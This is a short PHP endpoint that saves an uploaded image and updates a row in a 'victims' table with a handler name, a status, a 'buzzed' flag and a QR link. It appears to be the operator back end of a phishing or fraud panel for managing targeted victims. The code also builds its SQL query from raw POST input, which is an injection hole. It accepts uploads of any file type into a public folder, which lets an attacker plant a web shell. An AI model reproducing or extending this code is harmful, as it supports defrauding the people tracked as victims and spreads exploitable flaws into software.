<?php
include 'config.php';
include 'connect.php';

session_start();


if ($_GET['type'] == 'uploadcommand') {
    $uploads_dir = '../uploads/';
    if (!is_dir($uploads_dir) || !is_writable($uploads_dir)) {
        echo json_encode(array('status' => 'notok', 'message' => 'Uploads directory is not writable.'));
        exit;
    }

    if (isset($_FILES['image_file']) && $_FILES['image_file']['error'] === UPLOAD_ERR_OK) {
        $tmp_name = $_FILES['image_file']['tmp_name'];
        $pname = basename($_FILES['image_file']['name']);
        $image_link = $uploads_dir . uniqid() . '_' . $pname;

        if (!move_uploaded_file($tmp_name, $image_link)) {
            echo json_encode(array('status' => 'notok', 'message' => 'Failed to move uploaded file.'));
            exit;
        }

        $full_link = "" . ltrim($image_link, '../');
    } else {
        echo json_encode(array('status' => 'notok', 'message' => 'No file uploaded or there was an upload error.'));
        exit;
    }

    if (!empty($_POST['userid']) && !empty($_POST['status'])) {
        $userid = $_POST['userid'];
        $status = $_POST['status'];
        $handler = $_SESSION['username'];

        $query = "UPDATE victims SET handler='$handler', status=$status, buzzed=1, qrlink='$full_link' WHERE id=$userid";

        if (mysqli_query($conn, $query)) {
            echo json_encode(array('status' => 'ok'));
        } else {
            echo json_encode(array('status' => 'notok', 'message' => 'Database update failed: ' . mysqli_error($conn)));
        }
    } else {
        echo json_encode(array('status' => 'notokk', 'message' => 'User ID or status not set.'));
    }
}
?>
